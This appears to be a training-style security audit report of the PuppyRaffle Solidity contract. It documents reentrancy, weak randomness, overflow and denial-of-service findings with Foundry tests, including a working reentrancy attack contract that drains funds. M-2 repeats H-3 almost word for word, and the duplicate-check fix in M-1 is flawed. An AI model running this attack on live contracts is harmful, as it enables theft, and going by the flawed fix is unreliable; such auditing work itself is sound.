PuppyRaffle Audit Report

Version 1.0

Predator

October 28, 2024

PuppyRaffle Audit Report

Predator

October 28, 2024

Prepared by: [Predator] Lead Security Researcher: - Predator

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The PREDATOR team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings are described in this document corresponf the following commit:

```
- Commit Hash:  2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

We spent around 3 hours with team to identify all vulnerabilities.

Issues found

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas Optimizations	2
Total	16

Findings

High

[H-1] Reetrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description The `PuppyRaffle::refund` function doesn't follow CEI (check, effects, interactions), and as a result - allowing participants to drain raffle balance.

In the `PuppyRaffle::refund` function, first we make an `external` call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7  @>          players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback / receive` function that calls `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact
All fees paid by raffle entrants could be stolen by malicious participant. Impact: High LikelyHood: High

Proof of Concepts

1. User enteres the raffle
2. Attacker sets up a conttract with `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enteres the raffle
4. Attacker calles `PuppyRaffle::refund` function from their attack contract, draining the contract balance Place the following to the `PuppyRaffleTest.t.sol`

Code

```
1  function test_reentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
```

```
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyRefundAttack attackerContract;
        attackerContract = new ReentrancyRefundAttack(puppyRaffle);
        address attackerUser = makeAddr("attacker");
        vm.deal(attackerUser, 1 ether);

        uint256 startingAttackerBalance = address(attackerContract).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        console.log("start attackerContract.balance: ",
            startingAttackerBalance);
        console.log("start puppyRaffle.balance: ",
            startingContractBalance);

        vm.prank(attackerUser);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackerBalance = address(attackerContract).
            balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("end attackerContract.balance: ",
            endingAttackerBalance);
        console.log("end puppyRaffle.balance: ", endingContractBalance)
            ;
    }
```

And this contract as well

```
contract ReentrancyRefundAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
```

```
17      }
18
19      receive() external payable {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
```

Recommended mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before the external call. Additinally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
6  +       emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -       players[playerIndex] = address(0);
9  -       emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict a winner and influnce or predict the winning puppy

Description Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable random number. A predictable number is not good number. Malicious users can manipulate these values or know them ahead of the time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not winner.

Impact Any user can influence the winner of the raffle, winning money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war who wins the raffle.

Proof of Concepts 1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use it to predict when / how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `prevrandao`. 2. Users can mine / manipulate `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector in blockchain space.

Recommended mitigation Consider using a cryptographically provable random number generator such as ChainLink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description

In Solidity versions priot to `0.8.0` integers were a subject to integer overflows

```
1     uint64 myVar = type(uint64).max
2     // 18446744073709551615
3     myVar = myVar + 1
4     // myVar will be 0
```

Impact In `PuppyRaffle::selectWinner`, `totalfees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck on the contract.

Proof of Concepts 1. We conclude a raffle of 4 players 2. Then we have 89 players to enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
1     totalFees = totalFees + uint64(fee);
2     //aka
3     totalFees = 800000000000000000 + 178000000000000000
4     // and this overflow
5     totalFees = 1553255926290448384
```

4. You won't be able to withdraw, due to the line `PuppyRaffle::withdrawFees`:

```
1     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
         There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract, that above `require` will be impossible to hit.

Code

```
1  function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
5          puppyRaffle.selectWinner();
6          uint256 startingTotalFees = puppyRaffle.totalFees();
7          // startingTotalFees = 800000000000000000
8
```

```
        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended mitigation There are a few possible mitigations: 1. Use newer version of Solidity, instead `0.7.6` use from `0.8.0`, and `uint256` instead `uint64` for `PuppyRaffle::totalFees` 2. You could also use `Safemath` library from OpenZeppelin for version 0.7.6 of Solidity, however you still have a hard time with `uint64` type if too many fees are collected 3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more vector attacks with the final require, so we recommend removing it regardless.

Medium

[M-1] Loopping the players array, to check for dublicates in `PuppyRaffle::enterRaffle` is potential Denial of service (Dos) attack, incrementing gas costs for future players

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for dublicates. However, the longer the `PuppyRaffle::players` array is, the more checkss

a new player will have to make. This means the gas costs for players who enters right when raffle starts will be dramatically will be lower than those who enter later. Every additional address in `players` array, is an additional check will loop have to make.

```
// DoS attack
@>   for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact The gas costs for raffle will be dramatically increased as more players enter the raffle. Discouraging later players from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::players` so big, that no one else enters, guaranteeing themselves to win.

Proof of Concepts If we have 2 sets of 100 players to enter, the gas costs will be such: - 1st 100 players: ~ 6252048 gas, - 2nd 100 players: ~ 18068138 gas.

This is more than 3x more expensive than for the first 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
@> function test_DosAttack() public {
        vm.txGasPrice(1);

        uint256 playersNumber = 100;
        address[] memory players = new address[](playersNumber);
        for (uint256 i; i < playersNumber; i++) {
            players[i] = address(i);
        }
        // vm.expectRevert();
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasSpent = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas spent for 1 group: ", gasSpent);


        uint256 playersNumber2 = 100;
        address[] memory players2 = new address[](playersNumber2);
        for (uint256 i; i < playersNumber2; i++) {
            players2[i] = address(i + playersNumber2);
        }
        // vm.expectRevert();
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
            players2);
```

```
25          uint256 gasEnd2 = gasleft();
26          uint256 gasSpent2 = (gasStart2 - gasEnd2) * tx.gasprice;
27          console.log("Gas spent for 2 group: ", gasSpent2);
28
29          assert(gasSpent2 > gasSpent);
30      }
```

Recommended mitigation There are a few recommendations: 1. Consider allowing dublicates. Users can make new wallet addresses anyways, so a dublicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for dublicates. This would allow constant time lookup wheather a user already entered.

```
1  + mapping(address => uint256) public addressToRaffleId;
2  + uint256 public raffleId = 0;
3
4
5  function enterRaffle(address[] memory newPlayers) public payable {
6          // q were custom reverts in 0.7.6?
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -       // Check for duplicates
14 +       // Check for dublicates only for the new players
15 +       for (uint256 i; i < newPlayers.lenght; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Dublicate player");
17 +       }
18
19 -       for (uint256 i = 0; i < players.length - 1; i++) {
20 -           for (uint256 j = i + 1; j < players.length; j++) {
21 -               require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
22 -           }
23 -        }
24         emit RaffleEnter(newPlayers);
25 }
26
27 function selectWinner() external {
28         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
29         require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
30 +       raffleId += 1;
```

Alternatively, you can use [OpenZeppelin's `EnumarableSet` library] (https://docs.openzeppelin.com/contracts/4.x/ap

[M-2] Unsafe cast of `PuppyRaffle::selectWinner` from `uint256` to `uint64`

Description

In Solidity versions priot to `0.8.0` integers were a subject to integer overflows

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact In `PuppyRaffle::selectWinner`, `totalfees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck on the contract.

Proof of Concepts 1. We conclude a raffle of 4 players 2. Then we have 89 players to enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
    totalFees = totalFees + uint64(fee);
    //aka
    totalFees = 800000000000000000 + 178000000000000000
    // and this overflow
    totalFees = 1553255926290448384
```

4. You won't be able to withdraw, due to the line `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract, that above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
```

```
13              players[i] = address(i);
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended mitigation There are a few possible mitigations: 1. Use newer version of Solidity, instead `0.7.6` use from `0.8.0`, and `uint256` instead `uint64` for `PuppyRaffle::totalFees` 2. You could also use `Safemath` library from OpenZeppelin for version 0.7.6 of Solidity, however you still have a hard time with `uint64` type if too many fees are collected 3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
1 -     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more vector attacks with the final require, so we recommend removing it regardless.

[M-3] Smart contract wallets raffle winners without `receive` or `fallack` function will block the start of new contest

Description The `PuppyRaffle::selectWinner` function is responsible for resetting lottery. However, if the winner is the smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due the dublicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` function could revert many times, making lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concepts 1. 10 smart contracts entered the lottery without `receive` or `fallback` function 2. The lottery ends 3. The `SelectWinner` function wouldn't work, even though the lottery is over.

Recommended mitigation There a few options to mitigate: 1. Do not allow smart contracts wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amounts, so winners ca pull their funds out themselves with a new function `claimPrize`, putting the owness on the winner to claim their prize (recommended).

> Pull over Push

Low

[L-1] The `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing player, and in the same time for existing player with index 0, causing a player with index 0 to incorrectly think they have not entered the raffle

Description If a player in the `PuppyRaffle::players` array at index 0, they will return 0, but according to natspec, it will also return 0 if the player is not in the array

```
1  function getActivePlayerIndex(address player) external view returns (
       uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
```

Impact A player with index 0 to incorrectly think they have not entered the raffle, and attempt to enter to raffle again, wasting gas.

Proof of Concepts 1. User enteres the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User incorrectly think they have not entered the raffle due to documentation

Recommended mitigation The easiest way is to revert if player is not in the array instead of returning 0. You could also reserve 0th position for any competition, but a better solution might be return an `int256` where the function returns `-1` if the player is not in the array.

GAS

[G-1] Unchanged variables should be declared constant or immutable

Description Using `constant` and `immutable` variables helps save gas and make your code more efficient.

Impact These variables are meant for values that don't change after they are assigned, but they are used in slightly different contexts

Proof of Concepts

Recommended mitigation Instances:

`PuppyRaffle::raffleDuration` should be declared `immutable` `PuppyRaffle::commonImageUri` should be declared `constant` `PuppyRaffle::rareImageUri` should be declared `constant` `PuppyRaffle::legendaryImageUri` should be declared `constant`

[G-2] Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops.

4 Found Instances

- Found in src/PuppyRaffle.sol Line: 97

```
1          for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 98

```
1              for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 131

```
1          for (uint256 i = 0; i < players.length; i++) {
```

- Found in src/PuppyRaffle.sol Line: 235

```
1          for (uint256 i = 0; i < players.length; i++) {
```

Everytime you call `player.length` you read from storage, as opposed to memory which is more efficient

```
1  +       uint256 playerLength = player.length
2  -       for (uint256 i = 0; i < players.length - 1; i++) {
3  +       for (uint256 i = 0; i < playerLength - 1; i++)
4  -             for (uint256 j = i + 1; j < players.length; j++) {
```

```
+            for (uint256 j = i + 1; j < playerLength; j++) {
+                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational / Non-critical

[I-1]: Solidity pragma should be specific, not wide

Description Specify narrow (specific) pragma versions rather than wide version ranges to ensure compatibility, security, and stability.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

Impact Using a specific Solidity pragma version ensures predictability, security, and maintainability of your smart contract by locking down the environment in which it is compiled and preventing accidental changes or vulnerabilities from creeping in

Recommended mitigation Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.7.6;`

[I-2]: Using an outdated version of Solidity is not recommended

Description `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma` statement.

Impact - Risks related to recent releases; - Risks of complex code generarion changes; - Risks of new language features; - Risks of known bugs.

Recommended mitigation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 224

```
1          feeAddress = newFeeAddress;
```

[I-4] The `PuppyRaffle::selectWinner` should follow CEI, wgich is not best practice

It's better to keep the code clean and follow CEI (checks, effects, interactions)

```
1  -       (bool success,) = winner.call{value: prizePool}("");
2  -       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Define and use constant variables instead of using literals, so, uusing "magic" numbers is discourable

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract. It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 167

```
1          uint256 prizePool = (totalAmountCollected * 80) / 100;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1          uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 184

```
1          uint256 rarity = uint256(keccak256(abi.encodePacked(msg.
               sender, block.difficulty))) % 100;
```

```
1          int256 prizePool = (totalAmountCollected * 80) / 100;
2          uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
1         uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2         uint256 public constant FEE_PERCENTAGE = 20;
3         uint256 public constant PRICE_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] The `PuppyRaffle::_isActivePlayer` is never used used and should be removed.

Additional notes

MEV skipped for now